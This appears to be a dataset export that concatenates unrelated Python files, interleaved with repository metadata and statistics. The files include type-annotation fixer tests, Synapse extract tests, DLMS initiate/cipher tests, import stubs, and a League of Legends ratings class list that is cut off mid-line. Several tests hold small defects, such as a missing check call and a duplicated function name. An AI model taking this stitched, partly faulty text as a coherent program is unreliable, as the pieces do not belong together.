91f67f10a699eead337cc38028a9783a65934ab1
15,858
py
Python
typewriter/fixes/tests/test_annotate_any_py3.py
ezragoss/typewriter
7d4e70864036190cc705dc22c465f838b522f3fe
[ "Apache-2.0" ]
3
2020-10-12T16:21:11.000Z
2021-12-23T10:03:31.000Z
typewriter/fixes/tests/test_annotate_any_py3.py
ezragoss/typewriter
7d4e70864036190cc705dc22c465f838b522f3fe
[ "Apache-2.0" ]
6
2020-12-04T22:44:13.000Z
2021-12-23T10:27:43.000Z
typewriter/fixes/tests/test_annotate_any_py3.py
ezragoss/typewriter
7d4e70864036190cc705dc22c465f838b522f3fe
[ "Apache-2.0" ]
1
2020-12-02T21:49:27.000Z
2020-12-02T21:49:27.000Z
# flake8: noqa # Our flake extension misfires on type comments in strings below. import unittest from lib2to3.tests.test_fixers import FixerTestCase # deadcode: fix_annotate is used as part of the fixer_pkg for this test from typewriter.fixes import base class TestFixAnnotate3(FixerTestCase): def setUp(self): super(TestFixAnnotate3, self).setUp( fix_list=["annotate_any"], fixer_pkg="typewriter", options={ 'typewriter': { 'annotation_style': 'py3', }, }, ) def test_no_arg_1(self): a = """\ def nop(): return 42 """ b = """\ from typing import Any def nop() -> Any: return 42 """ self.check(a, b) def test_no_arg_2(self): a = """\ def nop(): return 42 """ b = """\ from typing import Any def nop() -> Any: return 42 """ self.check(a, b) def test_no_arg_3(self): a = """\ def nop( ): return 42 """ b = """\ from typing import Any def nop( ) -> Any: return 42 """ self.check(a, b) def test_no_arg_4(self): a = """\ def nop( ) \ : return 42 """ b = """\ from typing import Any def nop( ) -> Any \ : return 42 """ self.check(a, b) def test_no_arg_5(self): a = """\ def nop( # blah ): # blah return 42 # blah """ b = """\ from typing import Any def nop( # blah ) -> Any: # blah return 42 # blah """ self.check(a, b) def test_no_arg_6(self): a = """\ def nop( # blah ) \ : # blah return 42 # blah """ b = """\ from typing import Any def nop( # blah ) -> Any \ : # blah return 42 # blah """ self.check(a, b) def test_one_arg_1(self): a = """\ def incr(arg): return arg+1 """ b = """\ from typing import Any def incr(arg: Any) -> Any: return arg+1 """ self.check(a, b) def test_one_arg_2(self): a = """\ def incr(arg=0): return arg+1 """ b = """\ from typing import Any def incr(arg: int = 0) -> Any: return arg+1 """ self.check(a, b) def test_one_arg_3(self): a = """\ def incr( arg=0 ): return arg+1 """ b = """\ from typing import Any def incr( arg: int = 0 ) -> Any: return arg+1 """ self.check(a, b) def test_one_arg_4(self): a = """\ def incr( arg = 0 ): return arg+1 """ b = """\ from typing import Any def incr( arg: int = 0 ) -> Any: return arg+1 """ self.check(a, b) def test_two_args_1(self): a = """\ def add(arg1, arg2): return arg1+arg2 """ b = """\ from typing import Any def add(arg1: Any, arg2: Any) -> Any: return arg1+arg2 """ self.check(a, b) def test_two_args_2(self): a = """\ def add(arg1=0, arg2=0.1): return arg1+arg2 """ b = """\ from typing import Any def add(arg1: int = 0, arg2: float = 0.1) -> Any: return arg1+arg2 """ self.check(a, b) def test_two_args_3(self): a = """\ def add(arg1, arg2=0.1): return arg1+arg2 """ b = """\ from typing import Any def add(arg1: Any, arg2: float = 0.1) -> Any: return arg1+arg2 """ def test_two_args_4(self): a = """\ def add(arg1, arg2 = 0.1): return arg1+arg2 """ b = """\ from typing import Any def add(arg1: Any, arg2: float = 0.1) -> Any: return arg1+arg2 """ self.check(a, b) self.check(a, b) def test_defaults_1(self): a = """\ def foo(iarg=0, farg=0.0, sarg='', uarg=u'', barg=False): return 42 """ b = """\ from typing import Any def foo(iarg: int = 0, farg: float = 0.0, sarg: str = '', uarg: unicode = u'', barg: bool = False) -> Any: return 42 """ self.check(a, b) def test_defaults_2(self): a = """\ def foo(iarg=0, farg=0.0, sarg='', uarg=u'', barg=False, targ=(1,2,3)): return 42 """ b = """\ from typing import Any def foo(iarg: int = 0, farg: float = 0.0, sarg: str = '', uarg: unicode = u'', barg: bool = False, targ: Any = (1,2,3)) -> Any: return 42 """ self.check(a, b) def test_defaults_3(self): a = """\ def foo(iarg=0, farg, sarg='', uarg, barg=False, targ=(1,2,3)): return 42 """ b = """\ from typing import Any def foo(iarg: int = 0, farg: Any, sarg: str = '', uarg: Any, barg: bool = False, targ: Any = (1,2,3)) -> Any: return 42 """ self.check(a, b) def test_staticmethod(self): a = """\ class C: @staticmethod def incr(self): return 42 """ b = """\ from typing import Any class C: @staticmethod def incr(self: Any) -> Any: return 42 """ self.check(a, b) def test_classmethod(self): a = """\ class C: @classmethod def incr(cls, arg): return 42 """ b = """\ from typing import Any class C: @classmethod def incr(cls, arg: Any) -> Any: return 42 """ self.check(a, b) def test_instancemethod(self): a = """\ class C: def incr(self, arg): return 42 """ b = """\ from typing import Any class C: def incr(self, arg: Any) -> Any: return 42 """ self.check(a, b) def test_fake_self(self): a = """\ def incr(self, arg): return 42 """ b = """\ from typing import Any def incr(self: Any, arg: Any) -> Any: return 42 """ self.check(a, b) def test_nested_fake_self(self): a = """\ class C: def outer(self): def inner(self, arg): return 42 """ b = """\ from typing import Any class C: def outer(self) -> None: def inner(self: Any, arg: Any) -> Any: return 42 """ self.check(a, b) def test_multiple_decorators(self): a = """\ class C: @contextmanager @classmethod @wrapped('func') def incr(cls, arg): return 42 """ b = """\ from typing import Any class C: @contextmanager @classmethod @wrapped('func') def incr(cls, arg: Any) -> Any: return 42 """ self.check(a, b) def test_stars_1(self): a = """\ def stuff(*a): return 4, 2 """ b = """\ from typing import Any def stuff(*a: Any) -> Any: return 4, 2 """ self.check(a, b) def test_stars_2(self): a = """\ def stuff(a, *b): return 4, 2 """ b = """\ from typing import Any def stuff(a: Any, *b: Any) -> Any: return 4, 2 """ self.check(a, b) def test_keywords_1(self): a = """\ def stuff(**kw): return 4, 2 """ b = """\ from typing import Any def stuff(**kw: Any) -> Any: return 4, 2 """ self.check(a, b) def test_keywords_2(self): a = """\ def stuff(a, **kw): return 4, 2 """ b = """\ from typing import Any def stuff(a: Any, **kw: Any) -> Any: return 4, 2 """ self.check(a, b) def test_keywords_3(self): a = """\ def stuff(a, *b, **kw): return 4, 2 """ b = """\ from typing import Any def stuff(a: Any, *b: Any, **kw: Any) -> Any: return 4, 2 """ self.check(a, b) def test_keywords_4(self): a = """\ def stuff(*b, **kw): return 4, 2 """ b = """\ from typing import Any def stuff(*b: Any, **kw: Any) -> Any: return 4, 2 """ self.check(a, b) def test_no_return_expr(self): a = """\ def proc1(arg): return def proc2(arg): pass """ b = """\ from typing import Any def proc1(arg: Any) -> None: return def proc2(arg: Any) -> None: pass """ self.check(a, b) def test_nested_return_expr(self): # The 'return expr' in inner() shouldn't affect the return type of outer(). a = """\ def outer(arg): def inner(): return 42 return """ b = """\ from typing import Any def outer(arg: Any) -> None: def inner() -> Any: return 42 return """ self.check(a, b) def test_nested_class_return_expr(self): # The 'return expr' in class Inner shouldn't affect the return type of outer(). a = """\ def outer(arg): class Inner: return 42 return """ b = """\ from typing import Any def outer(arg: Any) -> None: class Inner: return 42 return """ self.check(a, b) def test_add_import(self): a = """\ import typing from typing import Callable def incr(arg): return 42 """ b = """\ import typing from typing import Callable from typing import Any def incr(arg: Any) -> Any: return 42 """ self.check(a, b) def test_dont_add_import(self): a = """\ def nop(arg=0): return """ b = """\ def nop(arg: int = 0) -> None: return """ self.check(a, b) def test_long_form(self): self.maxDiff = None a = """\ def nop(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8=0, arg9='', *args, **kwds): return """ b = """\ from typing import Any def nop(arg0: Any, arg1: Any, arg2: Any, arg3: Any, arg4: Any, arg5: Any, arg6: Any, arg7: Any, arg8: int = 0, arg9: str = '', *args: Any, **kwds: Any) -> None: return """ self.check(a, b) def test_long_form_trailing_comma(self): self.maxDiff = None a = """\ def nop(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7=None, arg8=0, arg9='', arg10=False,): return """ b = """\ from typing import Any def nop(arg0: Any, arg1: Any, arg2: Any, arg3: Any, arg4: Any, arg5: Any, arg6: Any, arg7: Any = None, arg8: int = 0, arg9: str = '', arg10: bool = False,) -> None: return """ self.check(a, b) def test_one_liner(self): a = """\ class C: def nop(self, a): a = a; return a # Something # More pass """ b = """\ from typing import Any class C: def nop(self, a: Any) -> Any: a = a; return a # Something # More pass """ self.check(a, b) def test_idempotency_long_1arg(self): a = """\ def nop(a: int ): pass """ self.unchanged(a) def test_idempotency_long_1arg_comma(self): a = """\ def nop(a: int, ): pass """ self.unchanged(a) def test_idempotency_long_2args_first(self): a = """\ def nop(a: int, b): pass """ self.unchanged(a) def test_idempotency_long_2args_last(self): a = """\ def nop(a, b: int ): pass """ self.unchanged(a) def test_idempotency_long_varargs(self): a = """\ def nop(*a: int ): pass """ self.unchanged(a) def test_idempotency_long_kwargs(self): a = """\ def nop(**a: int ): pass """ self.unchanged(a) def test_idempotency_arg0_ret_value(self): a = """\ def nop() -> int: pass """ self.unchanged(a) def test_idempotency_arg1_ret_value(self): a = """\ def nop(a) -> int: pass """ self.unchanged(a) def test_idempotency_arg1_default_1(self): a = """\ def nop(a: int=0): pass """ self.unchanged(a) def test_idempotency_arg1_default_2(self): a = """\ def nop(a: List[int]=[]): pass """ self.unchanged(a) def test_idempotency_arg1_default_3(self): a = """\ def nop(a: List[int]=[1,2,3]): pass """ self.unchanged(a)
25.743506
139
0.372935
1,603
15,858
3.601372
0.089832
0.035337
0.105318
0.070501
0.84722
0.813442
0.75957
0.708297
0.694786
0.646111
0
0.036132
0.509585
15,858
615
140
25.785366
0.706185
0.018792
0
0.762162
0
0.018018
0.676482
0
0
0
0
0
0
1
0.088288
false
0.027027
0.081081
0
0.304505
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
1
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
91feb4aec2682ecfad16970b61f6dbf3da442c93
1,771
py
Python
tests/test_extract.py
JessterB/agora-data-tools
254b41686a41550c76bc86824604a000ab4c72e0
[ "Apache-2.0" ]
1
2022-01-26T00:20:59.000Z
2022-01-26T00:20:59.000Z
tests/test_extract.py
JessterB/agora-data-tools
254b41686a41550c76bc86824604a000ab4c72e0
[ "Apache-2.0" ]
null
null
null
tests/test_extract.py
JessterB/agora-data-tools
254b41686a41550c76bc86824604a000ab4c72e0
[ "Apache-2.0" ]
2
2022-02-07T19:58:40.000Z
2022-02-07T20:21:51.000Z
import pytest from agoradatatools.etl import extract, utils from pandas import DataFrame syn = utils._login_to_synapse() def test_read_csv_into_df(): assert type(extract.read_csv_into_df(csv_path="./tests/test_assets/test_file.csv")) is DataFrame with pytest.raises(SystemExit) as err: extract.read_csv_into_df(csv_path="./tests/test_assets/test_file.tsv") assert err.type == SystemExit assert err.value.code == 9 def test_read_csv_into_df(): assert type(extract.read_tsv_into_df(tsv_path="./tests/test_assets/test_file.tsv")) is DataFrame with pytest.raises(SystemExit) as err: extract.read_tsv_into_df(tsv_path="./tests/test_assets/test_file.csv") assert err.type == SystemExit assert err.value.code == 9 def test_read_table_into_df(): assert type(extract.read_table_into_df(table_id="syn25838546", syn=syn)) is DataFrame def test_get_entity_as_df(): assert type(extract.get_entity_as_df(syn_id="syn25838562", format="csv")) is DataFrame with pytest.raises(SystemExit) as err: extract.get_entity_as_df(syn_id="syn25838562", format="tsv") assert err.type == SystemExit assert err.value.code == 9 assert type(extract.get_entity_as_df(syn_id="syn25838563", format="tsv")) is DataFrame with pytest.raises(SystemExit) as err: extract.get_entity_as_df(syn_id="syn25838563", format="csv") assert err.type == SystemExit assert err.value.code == 9 assert type(extract.get_entity_as_df(syn_id="syn25838546", format="table")) is DataFrame with pytest.raises(SystemExit) as err: extract.get_entity_as_df(syn_id="syn25838563", format="table") assert err.type == SystemExit assert err.value.code == 1 if __name__ == "__main__": pytest.main()
35.42
100
0.735178
267
1,771
4.580524
0.17603
0.07359
0.06296
0.074407
0.822567
0.822567
0.800491
0.800491
0.766966
0.696648
0
0.040478
0.149068
1,771
49
101
36.142857
0.771068
0
0
0.444444
0
0
0.135028
0.074576
0
0
0
0
0.444444
1
0.111111
false
0
0.083333
0
0.194444
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
65978a3b93c0bf4b61aa1c913ed02159a0228192
12,368
py
Python
tests/test_xdlms/test_initiate.py
pwitab/dlms-cosem
aa9e18e6ef8a4fee30da8b797dad03b0b7847780
[ "MIT" ]
35
2018-05-24T08:16:35.000Z
2022-02-24T16:07:07.000Z
tests/test_xdlms/test_initiate.py
pwitab/dlms-cosem
aa9e18e6ef8a4fee30da8b797dad03b0b7847780
[ "MIT" ]
41
2020-12-18T16:31:40.000Z
2021-12-13T20:59:42.000Z
tests/test_xdlms/test_initiate.py
pwitab/dlms-cosem
aa9e18e6ef8a4fee30da8b797dad03b0b7847780
[ "MIT" ]
19
2019-04-02T14:32:01.000Z
2021-12-14T13:24:29.000Z
from dlms_cosem import security from dlms_cosem.connection import XDlmsApduFactory from dlms_cosem.protocol import xdlms class TestInitiateRequest: def test_parse_simple(self): data = bytes.fromhex("01000000065F1F0400007E1F04B0") ir = xdlms.InitiateRequest( proposed_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=True, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=True, block_transfer_with_action=True, multiple_references=True, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), proposed_quality_of_service=0, client_max_receive_pdu_size=1200, proposed_dlms_version_number=6, response_allowed=True, dedicated_key=None, ) assert xdlms.InitiateRequest.from_bytes(data) == ir def test_encode_simple(self): data = bytes.fromhex("01000000065F1F0400007E1F04B0") ir = xdlms.InitiateRequest( proposed_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=True, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=True, block_transfer_with_action=True, multiple_references=True, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), proposed_quality_of_service=0, client_max_receive_pdu_size=1200, proposed_dlms_version_number=6, response_allowed=True, dedicated_key=None, ) assert ir.to_bytes() == data def test_decode_with_dedicated_key(self): data = bytes.fromhex( "01011000112233445566778899AABBCCDDEEFF0000065F1F0400007E1F04B0" ) apdu = xdlms.InitiateRequest( proposed_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=True, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=True, block_transfer_with_action=True, multiple_references=True, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), proposed_quality_of_service=0, client_max_receive_pdu_size=1200, proposed_dlms_version_number=6, response_allowed=True, dedicated_key=b'\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff', ) assert xdlms.InitiateRequest.from_bytes(data) == apdu def test_encode_with_dedicated_key(self): data = bytes.fromhex( "01011000112233445566778899AABBCCDDEEFF0000065F1F0400007E1F04B0" ) apdu = xdlms.InitiateRequest( proposed_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=True, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=True, block_transfer_with_action=True, multiple_references=True, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), proposed_quality_of_service=0, client_max_receive_pdu_size=1200, proposed_dlms_version_number=6, response_allowed=True, dedicated_key=b'\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff', ) print(data) print(apdu.to_bytes()) assert data == apdu.to_bytes() class TestInitiateResponse: def test_parse_simple(self): data = bytes.fromhex("0800065F1F040000501F01F40007") ir = xdlms.InitiateResponse( negotiated_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=False, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=False, block_transfer_with_action=False, multiple_references=False, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), server_max_receive_pdu_size=500, negotiated_dlms_version_number=6, negotiated_quality_of_service=0, ) assert xdlms.InitiateResponse.from_bytes(data) == ir def test_encode_simple(self): data = bytes.fromhex("0800065F1F040000501F01F40007") ir = xdlms.InitiateResponse( negotiated_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=False, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=False, block_transfer_with_action=False, multiple_references=False, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), server_max_receive_pdu_size=500, negotiated_dlms_version_number=6, negotiated_quality_of_service=0, ) assert data == ir.to_bytes() def test_decode_with_non_default_quality(self): data = b"\x08\x01\x00\x06_\x1f\x04\x00\x00\x1e\x1d\x04\xc8\x00\x07" ir = xdlms.InitiateResponse.from_bytes(data) assert ir.negotiated_quality_of_service == 0 class TestGlobalCipherInitiateRequest: def test_parse(self): data = bytes.fromhex( "21303001234567801302FF8A7874133D414CED25B42534D28DB0047720606B175BD52211BE6841DB204D39EE6FDB8E356855" ) apdu = XDlmsApduFactory.apdu_from_bytes(data) assert isinstance(apdu, xdlms.GlobalCipherInitiateRequest) def test_to_bytes(self): data = bytes.fromhex( "21303001234567801302FF8A7874133D414CED25B42534D28DB0047720606B175BD52211BE6841DB204D39EE6FDB8E356855" ) apdu = xdlms.GlobalCipherInitiateRequest( security_control=security.SecurityControlField( security_suite=0, authenticated=True, encrypted=True, broadcast_key=False, compressed=False, ), invocation_counter=19088743, ciphered_text=b'\x80\x13\x02\xff\x8axt\x13=AL\xed%\xb4%4\xd2\x8d\xb0\x04w `k\x17[\xd5"\x11\xbehA\xdb M9\xeeo\xdb\x8e5hU', ) assert apdu.to_bytes() == data def test_decrypt(self): encryption_key = bytes.fromhex("000102030405060708090A0B0C0D0E0F") authentication_key = bytes.fromhex("D0D1D2D3D4D5D6D7D8D9DADBDCDDDEDF") system_title = bytes.fromhex("4D4D4D0000BC614E") apdu = xdlms.GlobalCipherInitiateRequest( security_control=security.SecurityControlField( security_suite=0, authenticated=True, encrypted=True, broadcast_key=False, compressed=False, ), invocation_counter=19088743, ciphered_text=b'\x80\x13\x02\xff\x8axt\x13=AL\xed%\xb4%4\xd2\x8d\xb0\x04w `k\x17[\xd5"\x11\xbehA\xdb M9\xeeo\xdb\x8e5hU', ) plain_text = security.decrypt( security_control=apdu.security_control, system_title=system_title, invocation_counter=apdu.invocation_counter, cipher_text=apdu.ciphered_text, key=encryption_key, auth_key=authentication_key, ) unciphered_apdu = XDlmsApduFactory.apdu_from_bytes(plain_text) print(unciphered_apdu) assert isinstance(unciphered_apdu, xdlms.InitiateRequest) def test_encrypt(self): apdu = xdlms.InitiateRequest( proposed_conformance=xdlms.Conformance( general_protection=False, general_block_transfer=False, delta_value_encoding=False, attribute_0_supported_with_set=False, priority_management_supported=True, attribute_0_supported_with_get=True, block_transfer_with_get_or_read=True, block_transfer_with_set_or_write=True, block_transfer_with_action=True, multiple_references=True, data_notification=False, access=False, get=True, set=True, selective_access=True, event_notification=True, action=True, ), proposed_quality_of_service=0, client_max_receive_pdu_size=1200, proposed_dlms_version_number=6, response_allowed=True, dedicated_key=b'\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff', ) encryption_key = bytes.fromhex("000102030405060708090A0B0C0D0E0F") authentication_key = bytes.fromhex("D0D1D2D3D4D5D6D7D8D9DADBDCDDDEDF") system_title = bytes.fromhex("4D4D4D0000BC614E") security_control = security.SecurityControlField( security_suite=0, authenticated=True, encrypted=True, broadcast_key=False, compressed=False, ) invocation_counter = 19088743 ciphered_apdu = xdlms.GlobalCipherInitiateRequest( security_control=security.SecurityControlField( security_suite=0, authenticated=True, encrypted=True, broadcast_key=False, compressed=False, ), invocation_counter=19088743, ciphered_text=b'\x80\x13\x02\xff\x8axt\x13=AL\xed%\xb4%4\xd2\x8d\xb0\x04w `k\x17[\xd5"\x11\xbehA\xdb M9\xeeo\xdb\x8e5hU', ) cipher_text = security.encrypt( security_control=security_control, system_title=system_title, key=encryption_key, auth_key=authentication_key, invocation_counter=invocation_counter, plain_text=apdu.to_bytes(), ) assert cipher_text == ciphered_apdu.ciphered_text
38.291022
133
0.604221
1,166
12,368
6.054031
0.131218
0.051565
0.050574
0.050574
0.88412
0.85862
0.805213
0.79388
0.79048
0.79048
0
0.077164
0.329398
12,368
322
134
38.409938
0.773933
0
0
0.80137
0
0.023973
0.088939
0.081501
0
0
0
0
0.037671
1
0.037671
false
0
0.010274
0
0.058219
0.010274
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
65bea3e3803d642911669f1e3da9743ee8a8385e
155
py
Python
src/prefect/environments/execution/dask/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/prefect/environments/execution/dask/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/prefect/environments/execution/dask/__init__.py
louisditzel/prefect
b1a02fee623b965e756a38aa09059db780ab67eb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
from prefect.environments.execution.dask.k8s import DaskKubernetesEnvironment from prefect.environments.execution.dask.remote import RemoteDaskEnvironment
51.666667
77
0.896774
16
155
8.6875
0.625
0.158273
0.330935
0.460432
0.517986
0
0
0
0
0
0
0.006803
0.051613
155
2
78
77.5
0.938776
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
02a4a34a79d1e9c1bece3e30243424fee26969bb
40
py
Python
shorttext/classifiers/bow/__init__.py
vishalbelsare/PyShortTextCategorization
4fa46a148a3eeb923885a7d70c789e988554f758
[ "MIT" ]
481
2016-10-07T16:48:40.000Z
2022-03-16T12:44:12.000Z
shorttext/classifiers/bow/__init__.py
vishalbelsare/PyShortTextCategorization
4fa46a148a3eeb923885a7d70c789e988554f758
[ "MIT" ]
56
2017-02-02T17:50:14.000Z
2021-12-15T05:14:28.000Z
shorttext/classifiers/bow/__init__.py
vishalbelsare/PyShortTextCategorization
4fa46a148a3eeb923885a7d70c789e988554f758
[ "MIT" ]
70
2017-01-28T15:20:46.000Z
2021-09-30T15:08:41.000Z
from . import topic from . import maxent
20
20
0.775
6
40
5.166667
0.666667
0.645161
0
0
0
0
0
0
0
0
0
0
0.175
40
2
20
20
0.939394
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
02c1b26746d0779250565e5cab415e363ce235cc
6,407
py
Python
loldib/getratings/models/NA/na_talon/na_talon_mid.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_talon/na_talon_mid.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_talon/na_talon_mid.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Talon_Mid_Aatrox(Ratings): pass class NA_Talon_Mid_Ahri(Ratings): pass class NA_Talon_Mid_Akali(Ratings): pass class NA_Talon_Mid_Alistar(Ratings): pass class NA_Talon_Mid_Amumu(Ratings): pass class NA_Talon_Mid_Anivia(Ratings): pass class NA_Talon_Mid_Annie(Ratings): pass class NA_Talon_Mid_Ashe(Ratings): pass class NA_Talon_Mid_AurelionSol(Ratings): pass class NA_Talon_Mid_Azir(Ratings): pass class NA_Talon_Mid_Bard(Ratings): pass class NA_Talon_Mid_Blitzcrank(Ratings): pass class NA_Talon_Mid_Brand(Ratings): pass class NA_Talon_Mid_Braum(Ratings): pass class NA_Talon_Mid_Caitlyn(Ratings): pass class NA_Talon_Mid_Camille(Ratings): pass class NA_Talon_Mid_Cassiopeia(Ratings): pass class NA_Talon_Mid_Chogath(Ratings): pass class NA_Talon_Mid_Corki(Ratings): pass class NA_Talon_Mid_Darius(Ratings): pass class NA_Talon_Mid_Diana(Ratings): pass class NA_Talon_Mid_Draven(Ratings): pass class NA_Talon_Mid_DrMundo(Ratings): pass class NA_Talon_Mid_Ekko(Ratings): pass class NA_Talon_Mid_Elise(Ratings): pass class NA_Talon_Mid_Evelynn(Ratings): pass class NA_Talon_Mid_Ezreal(Ratings): pass class NA_Talon_Mid_Fiddlesticks(Ratings): pass class NA_Talon_Mid_Fiora(Ratings): pass class NA_Talon_Mid_Fizz(Ratings): pass class NA_Talon_Mid_Galio(Ratings): pass class NA_Talon_Mid_Gangplank(Ratings): pass class NA_Talon_Mid_Garen(Ratings): pass class NA_Talon_Mid_Gnar(Ratings): pass class NA_Talon_Mid_Gragas(Ratings): pass class NA_Talon_Mid_Graves(Ratings): pass class NA_Talon_Mid_Hecarim(Ratings): pass class NA_Talon_Mid_Heimerdinger(Ratings): pass class NA_Talon_Mid_Illaoi(Ratings): pass class NA_Talon_Mid_Irelia(Ratings): pass class NA_Talon_Mid_Ivern(Ratings): pass class NA_Talon_Mid_Janna(Ratings): pass class NA_Talon_Mid_JarvanIV(Ratings): pass class NA_Talon_Mid_Jax(Ratings): pass class NA_Talon_Mid_Jayce(Ratings): pass class NA_Talon_Mid_Jhin(Ratings): pass class NA_Talon_Mid_Jinx(Ratings): pass class NA_Talon_Mid_Kalista(Ratings): pass class NA_Talon_Mid_Karma(Ratings): pass class NA_Talon_Mid_Karthus(Ratings): pass class NA_Talon_Mid_Kassadin(Ratings): pass class NA_Talon_Mid_Katarina(Ratings): pass class NA_Talon_Mid_Kayle(Ratings): pass class NA_Talon_Mid_Kayn(Ratings): pass class NA_Talon_Mid_Kennen(Ratings): pass class NA_Talon_Mid_Khazix(Ratings): pass class NA_Talon_Mid_Kindred(Ratings): pass class NA_Talon_Mid_Kled(Ratings): pass class NA_Talon_Mid_KogMaw(Ratings): pass class NA_Talon_Mid_Leblanc(Ratings): pass class NA_Talon_Mid_LeeSin(Ratings): pass class NA_Talon_Mid_Leona(Ratings): pass class NA_Talon_Mid_Lissandra(Ratings): pass class NA_Talon_Mid_Lucian(Ratings): pass class NA_Talon_Mid_Lulu(Ratings): pass class NA_Talon_Mid_Lux(Ratings): pass class NA_Talon_Mid_Malphite(Ratings): pass class NA_Talon_Mid_Malzahar(Ratings): pass class NA_Talon_Mid_Maokai(Ratings): pass class NA_Talon_Mid_MasterYi(Ratings): pass class NA_Talon_Mid_MissFortune(Ratings): pass class NA_Talon_Mid_MonkeyKing(Ratings): pass class NA_Talon_Mid_Mordekaiser(Ratings): pass class NA_Talon_Mid_Morgana(Ratings): pass class NA_Talon_Mid_Nami(Ratings): pass class NA_Talon_Mid_Nasus(Ratings): pass class NA_Talon_Mid_Nautilus(Ratings): pass class NA_Talon_Mid_Nidalee(Ratings): pass class NA_Talon_Mid_Nocturne(Ratings): pass class NA_Talon_Mid_Nunu(Ratings): pass class NA_Talon_Mid_Olaf(Ratings): pass class NA_Talon_Mid_Orianna(Ratings): pass class NA_Talon_Mid_Ornn(Ratings): pass class NA_Talon_Mid_Pantheon(Ratings): pass class NA_Talon_Mid_Poppy(Ratings): pass class NA_Talon_Mid_Quinn(Ratings): pass class NA_Talon_Mid_Rakan(Ratings): pass class NA_Talon_Mid_Rammus(Ratings): pass class NA_Talon_Mid_RekSai(Ratings): pass class NA_Talon_Mid_Renekton(Ratings): pass class NA_Talon_Mid_Rengar(Ratings): pass class NA_Talon_Mid_Riven(Ratings): pass class NA_Talon_Mid_Rumble(Ratings): pass class NA_Talon_Mid_Ryze(Ratings): pass class NA_Talon_Mid_Sejuani(Ratings): pass class NA_Talon_Mid_Shaco(Ratings): pass class NA_Talon_Mid_Shen(Ratings): pass class NA_Talon_Mid_Shyvana(Ratings): pass class NA_Talon_Mid_Singed(Ratings): pass class NA_Talon_Mid_Sion(Ratings): pass class NA_Talon_Mid_Sivir(Ratings): pass class NA_Talon_Mid_Skarner(Ratings): pass class NA_Talon_Mid_Sona(Ratings): pass class NA_Talon_Mid_Soraka(Ratings): pass class NA_Talon_Mid_Swain(Ratings): pass class NA_Talon_Mid_Syndra(Ratings): pass class NA_Talon_Mid_TahmKench(Ratings): pass class NA_Talon_Mid_Taliyah(Ratings): pass class NA_Talon_Mid_Talon(Ratings): pass class NA_Talon_Mid_Taric(Ratings): pass class NA_Talon_Mid_Teemo(Ratings): pass class NA_Talon_Mid_Thresh(Ratings): pass class NA_Talon_Mid_Tristana(Ratings): pass class NA_Talon_Mid_Trundle(Ratings): pass class NA_Talon_Mid_Tryndamere(Ratings): pass class NA_Talon_Mid_TwistedFate(Ratings): pass class NA_Talon_Mid_Twitch(Ratings): pass class NA_Talon_Mid_Udyr(Ratings): pass class NA_Talon_Mid_Urgot(Ratings): pass class NA_Talon_Mid_Varus(Ratings): pass class 